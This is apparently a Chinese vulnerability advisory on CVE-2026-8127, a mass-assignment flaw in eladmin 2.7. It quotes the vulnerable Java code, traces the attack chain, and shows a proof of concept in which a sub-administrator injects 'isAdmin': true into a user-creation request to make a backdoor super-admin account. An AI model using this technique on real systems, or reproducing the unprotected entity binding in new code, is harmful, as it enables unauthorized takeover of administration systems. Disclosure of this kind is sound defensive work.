eladmin 2.7 访问控制绕过CVE-2026-8127
eladmin 是一款开源、免费的 Java 后台管理系统,是基于 Spring Boot + Vue 的前后端分离 Java 后台管理框架(Apache-2.0 协议)。
一、基本情况
eladmin 基于 Spring Boot、Spring Security、JPA 等技术栈,提供用户管理、角色权限等企业级功能,后端支持 JPA和MyBatis-Plus。
eladmin 数据权限、动态菜单、定时任务、系统监控、日志审计等常用模块,适合快速开发企业级后台、OA、CMS 及各类管理系统。

栋科技漏洞库关注到eladmin 2.7的UserController.createUser接口Mass Assignment漏洞,追踪为CVE-2026-8127,CVSS 3.1评分6.3。
二、漏洞分析
CVE-2026-8127是 eladmin 受影响版本的 UserController.createUser 接口中存在的 Mass Assignment 漏洞,漏洞具有较高的隐蔽性。
拥有 user:add 权限的次级管理员可在创建用户时注入 isAdmin=true 字段,新用户获得超级管权限,绕过整个基于角色权限控制体系。
由于 checkLevel() 方法仅校验角色等级(level),未对 isAdmin 字段进行校验,可在请求体中注入isAdmin=true创建超级管理员账户。
该漏洞具有较高的隐蔽性:端点配置了 @PreAuthorize 权限注解,且业务逻辑中存在 checkLevel() 角色等级校验,表面上已经"安全"。
但 isAdmin 是一个独立于角色系统的超级权限标记,不在 checkLevel() 的校验范围内,因此攻击者可以绕过基于角色的访问控制体系。
(一)漏洞调用链
1、入口 — UserController.createUser
文件: eladmin-system/.../rest/UserController.java:108-116
@Log("新增用户")
@ApiOperation("新增用户")
@PostMapping
@PreAuthorize("@el.check('user:add')")
public ResponseEntity<Object> createUser(@Validated @RequestBody User resources){
checkLevel(resources); // [1] 仅校验角色等级
resources.setPassword(passwordEncoder.encode("123456")); // [2] 覆盖密码
userService.create(resources); // [3] 直接传入完整 Entity
return new ResponseEntity<>(HttpStatus.CREATED);
}
问题:
@RequestBody User resources 接收完整的 User JPA Entity。
checkLevel() 仅校验角色等级,不校验 isAdmin 字段。resources 被原封不动传入 Service 层。
2、等级校验 — checkLevel()
文件: eladmin-system/.../rest/UserController.java:203-209
private void checkLevel(User resources) {
Integer currentLevel = Collections.min(
roleService.findByUsersId(SecurityUtils.getCurrentUserId())
.stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));
Integer optLevel = roleService.findByRoles(resources.getRoles());
if (currentLevel > optLevel) {
throw new BadRequestException("角色权限不足");
}
}
问题: 该方法仅校验角色等级 (level) ——确保操作者不能给新用户分配比自己更高级别的角色。完全没有检查 isAdmin 字段。
3、持久化 — UserServiceImpl.create()
文件: eladmin-system/.../service/impl/UserServiceImpl.java:87-98
@Override
@Transactional(rollbackFor = Exception.class)
public void create(User resources) {
if (userRepository.findByUsername(resources.getUsername()) != null) {
throw new EntityExistException(User.class, "username", resources.getUsername());
}
if (userRepository.findByEmail(resources.getEmail()) != null) {
throw new EntityExistException(User.class, "email", resources.getEmail());
}
if (userRepository.findByPhone(resources.getPhone()) != null) {
throw new EntityExistException(User.class, "phone", resources.getPhone());
}
userRepository.save(resources); // ← 直接保存完整 Entity,isAdmin=true 被写入数据库
}
问题: userRepository.save(resources) 将 User Entity 的所有字段(包括 isAdmin)直接持久化到数据库,无任何字段过滤。
对比: 同一文件中的 update() 方法(行 102-144)采用了逐字段复制的方式,不会复制 isAdmin,因此 update 路径是安全的。
这证明开发者有安全意识,但在 create() 路径上遗漏了。
4、未受保护的 Entity 字段 — User.isAdmin
文件: eladmin-system/.../domain/User.java:101-102
@ApiModelProperty(value = "是否为admin账号", hidden = true)
private Boolean isAdmin = false;
问题:
isAdmin 字段仅标注了 @ApiModelProperty(hidden = true)(Swagger 文档隐藏),
没有 @JSONField(deserialize=false) 或任何反序列化保护。
fastjson2 作为 HTTP 消息转换器会正常将请求 JSON 中的 "isAdmin": true 绑定到该字段。
5、权限构建 — RoleServiceImpl.buildPermissions()
文件: eladmin-system/.../service/impl/RoleServiceImpl.java:174-184
@Override
public List<AuthorityDto> buildPermissions(UserDto user) {
String key = CacheKey.ROLE_AUTH + user.getId();
List<AuthorityDto> authorityDtos = redisUtils.getList(key, AuthorityDto.class);
if (CollUtil.isEmpty(authorityDtos)) {
Set<String> permissions = new HashSet<>();
// 如果是管理员直接返回
if (user.getIsAdmin()) {
permissions.add("admin"); // ← isAdmin=true 时直接返回 "admin"
return permissions.stream().map(AuthorityDto::new)
.collect(Collectors.toList());
}
// ... 正常的基于角色的权限解析(isAdmin=true 时不会执行到这里)
}
return authorityDtos;
}
问题: 当 isAdmin=true 时,直接返回 ["admin"] 权限,完全跳过基于角色的权限解析。
6、权限短路 — AuthorityConfig.check()
文件: eladmin-common/.../config/AuthorityConfig.java:36-41
@Service(value = "el")
public class AuthorityConfig {
public Boolean check(String ...permissions){
List<String> elPermissions = SecurityUtils.getCurrentUser().getAuthorities()
.stream().map(GrantedAuthority::getAuthority).collect(Collectors.toList());
return elPermissions.contains("admin") // ← "admin" 短路所有权限检查
|| Arrays.stream(permissions).anyMatch(elPermissions::contains);
}
}
问题:所有 @PreAuthorize("@el.check('xxx')") 注解最终调用此方法。
当权限列表包含 "admin" 时,contains("admin") 直接返回 true,所有端点的权限校验被短路。
(二)完整攻击链
攻击者 POST /api/users {"isAdmin": true, ...}
↓
[UserController.createUser] @PreAuthorize("user:add") ✓ 通过
↓
[checkLevel()] 仅校验 roles.level → ✓ 通过(isAdmin 不在校验范围)
↓
[UserServiceImpl.create()] userRepository.save() → isAdmin=true 写入数据库
↓
新用户登录时:
↓
[RoleServiceImpl.buildPermissions()] getIsAdmin()=true → 返回 ["admin"]
↓
[AuthorityConfig.check()] contains("admin")=true → 所有 @PreAuthorize 短路
↓
新用户获得超级管理员完整权限
三、POC概念验证
(一)前置条件
通过 admin 创建 level=3 的 "DeptManager" 角色(id=6),并分配 user:add 权限
创建 deptadmin 用户,分配 DeptManager 角色
(二)攻击演示
1、以 deptadmin 身份登录,获得 token
2、发送恶意请求(注入 isAdmin=true)
Request:
管理员已设置登录后刷新可查看Response:
HTTP/1.1 201 Created
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Length: 0
Date: Mon, 20 Apr 2026 09:22:40 GMT
用户创建成功,返回 201 Created。
3、权限对比验证
以 deptadmin 和 backdoor3 分别访问 /api/roles(需要 roles:list 权限):
deptadmin (同角色, isAdmin=false):
GET http://localhost:8000/api/roles
Authorization: Bearer <deptadmin-token>
HTTP/1.1 400 Bad Request
{"message":"权限不足","status":400}
backdoor3 (同角色, isAdmin=true):
GET http://localhost:8000/api/roles
Authorization: Bearer <backdoor3-token>
HTTP/1.1 200 OK
{"content":[{"createTime":"2018-11-23 11:04:37","dataScope":"全部","depts":[],"description":"-","id":1,"level":1,...}]}
结论: 相同角色配置下,isAdmin=true 使 backdoor3用户绕过了所有权限检查,获得超级管理员完整访问权。
4、数据库证明
SELECT user_id, username, is_admin FROM eladmin.sys_user
WHERE username IN ('admin', 'deptadmin', 'backdoor3');
+---------+-----------+----------+
| user_id | username | is_admin |
+---------+-----------+----------+
| 1 | admin | (true) |
| 3 | deptadmin | (false) |
| 5 | backdoor3 | (true) |
+---------+-----------+----------+
backdoor3 的 is_admin 值与 admin 一致,均为 true。
5、修复版本中通过添加 isAdmin 字段的反序列化保护,防止攻击者通过批量赋值绕过权限校验
四、影响范围
eladmin 2.7
五、修复建议
eladmin > 2.7
六、参考链接
管理员已设置登录后刷新可查看